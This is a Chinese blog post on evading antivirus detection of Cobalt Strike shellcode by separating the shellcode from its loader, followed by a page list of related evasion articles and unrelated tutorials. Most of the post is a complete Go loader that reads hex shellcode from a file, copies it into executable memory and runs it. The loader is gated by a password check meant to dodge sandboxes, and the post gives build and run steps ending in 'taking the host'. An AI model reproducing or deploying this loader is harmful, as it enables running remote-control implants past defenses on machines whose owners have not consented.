【原创】ShellCode免杀的骚姿势
ShellCode免杀的骚姿势
常见的免杀手法:
shellcode(攻击代码)和加载程序的分离;
Lolbins白利用加载shellcode(白名单利用);
shellcode混淆、编码解码;
shellcode(攻击代码)和加载程序的分离
生成一个C语言的playload做测试实验;
本质上生成c的payload就是16进制的代码,这些代码插入目标主机的内存中,就能触发CS远控;
这里我们在来看下官方的定义;
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
但shellcode类似于图纸,本身并不能进行执行,必须要配合加载器才能进行使用,所以一般杀软不会杀shellcode;exe文件就是shellcode+加载器一起集成了,容易被查杀;
单独的加载器可以使用go-shellcode-launcher
package main
import (
"io/ioutil"
"os"
"syscall"
"unsafe"
"strings"
"fmt"
"encoding/hex"
"crypto/md5"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}
func main() {
if len(os.Args) <= 2 {
os.Exit(0)
}
//var shellcodes string
var shellcode []byte
if len(os.Args) > 2 {
data := []byte(os.Args[1])
has := md5.Sum(data)
md5str1 := fmt.Sprintf("%x", has) //将[]byte转成16进制
if (md5str1) != "81592ae4e09eb3dfb96aaecbf84730d0" {
//第一个参数只有是 bobohacker 才能跑起
os.Exit(0)
}
if fileObj, err := os.Open(os.Args[2]); err == nil {
//第二个参数为放shellcode的txt文件名
defer fileObj.Close()
if contents, err := ioutil.ReadAll(fileObj); err == nil {
shellcodes := strings.ReplaceAll(string(contents), "\n", "")
shellcodes = strings.ReplaceAll(string(shellcodes), "\\x", "")
shellcode, _ = hex.DecodeString(shellcodes)
}
}
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}
继续生成payload123.c,然后将payload的内容复制出来,放在bobo.txt中
将go的文件编译成exe文件
go build golauncher.go
然在目录下执行
golauncher.exe bobohacker bobo.txt
其中的bobohacker是密码;
然后就触发shell,拿下主机;
【原创】ShellCode免杀的骚姿势的更多相关文章
- [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)
0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...
- Python 加密 shellcode 免杀
Python 加密 shellcode 免杀 环境准备: Windows7 32 位系统: Shellcode 使用 kali linux Metasploit 生成 shellcode Wind ...
- 那些shellcode免杀总结
首发先知: https://xz.aliyun.com/t/7170 自己还是想把一些shellcode免杀的技巧通过白话文.傻瓜式的文章把技巧讲清楚.希望更多和我一样web狗也能动手做到免杀的实现. ...
- shellcode 免杀(一)
工具免杀 选择了几个简单或者近期还有更新的免杀工具进行学习 ShellcodeWrapper https://github.com/Arno0x/ShellcodeWrapper 该工具的原理是使用异 ...
- [原创]小巧免杀的端口转发工具PortTran(附.net源码)
0x001 简介 PortTran by k8gege.NET版端口转发工具,支持任意权限下转发 0x002 背景工具在2016年左右写的,当时某个内网不知何原故LCX用不了 由于Win2003才刚停 ...
- VirtualAlloc加载shellcode免杀一点记录
一个很好的学习网站 推荐一下: https://docs.microsoft.com/zh-cn/windows/win32/api/ 0x01 VirtualAlloc VirtualAlloc: ...
- Bypass AV meterpreter免杀技巧
0x01 meterpreter简介 MetasploitFramework是一个缓冲区溢出测试使用的辅助工具,也可以说是一个漏洞利用和测试平台,它集成了各种平台上常见的溢出漏洞和流行的shellco ...
- [原创]CobaltStrike & Metasploit Shellcode一键免杀工具
CobaltStrike & Metasploit Shellcode一键免杀工具 作者: K8哥哥 图片 1个月前该工具生成的exe免杀所有杀软,现在未测应该还能过90%的杀软吧. 可选. ...
- [原创]K8_Delphi源码免杀系列教程
[原创]K8_Delphi源码免杀系列教程[2014] 虽是2014年的,但免杀思路方法并未过时 比如函数动态调用\代码注释法等至今依然有效 链接:https://pan.baidu.com/s/1H ...
随机推荐
- Mybatis框架基础入门(二)--架构简介
mybatis配置 SqlMapConfig.xml,此文件作为mybatis的全局配置文件,配置了mybatis的运行环境等信息. mapper.xml文件即sql映射文件,文件中配置了操作数据库的 ...
- 学习Squid(三)
Squid 缓存服务 1.缓存服务器结束 缓存服务器(cache server),即用来存储(介质为内存及硬盘)用户访问的网页.图片.文件等等信息的专用服务器,这种服务器不仅可以使用户可以最快的得到他 ...
- 解决IDEA包重叠在一起的问题
问题显现: 解决方法:
- C++“拷贝构造函数”和“等号重载”有什么区别?
CTypeA(const CTypeB& b)CTypeA& operator=(const CTypeB& b)一直没弄懂这两个有什么区别.只知道,重载了=号,下面复制的时候 ...
- react开发教程(六)React与DOM
ReactDOM findeDOMNode 语法:DOMElement findDOMNode(ReactComponent component)描述:获取改组件实例相对应的DOM节点 案例: imp ...
- JavaScript读取剪贴板中的表格生成图片
原文 JavaScript读取剪贴板中的表格生成图片 演示地址 你可以访问下面的地址体验每个demo https://fairyever.github.io/excel-to-image-demo/ ...
- Hadoop 3.1.2报错:xception in thread "main" org.apache.hadoop.fs.UnsupportedFileSystemException: No FileSystem for scheme "hdfs"
报错内容如下: Exception in thread "main" org.apache.hadoop.fs.UnsupportedFileSystemException: No ...
- 微信小程序HTTP接口请求封装
1.方法封装(新建文件夹util,工具文件,在文件夹下创建request.js文件,用于对方法封装)request.js: var app = getApp(); //项目URL相同部分,减轻代码量, ...
- 将本地项目上传到gitLab操作
在设置好SSH之后,执行下面的操作即可完成: git init // 初始化git status //查看提交文件状态git remote add origin git地址 // 连接 ...
- spring-bean依赖注入-03
set注入:set注入地址 通过构造方法进行注入 1.创建UserDao接口以及UserDaoImpl实现类(接口代码省略) public class UserDaoImpl implements U ...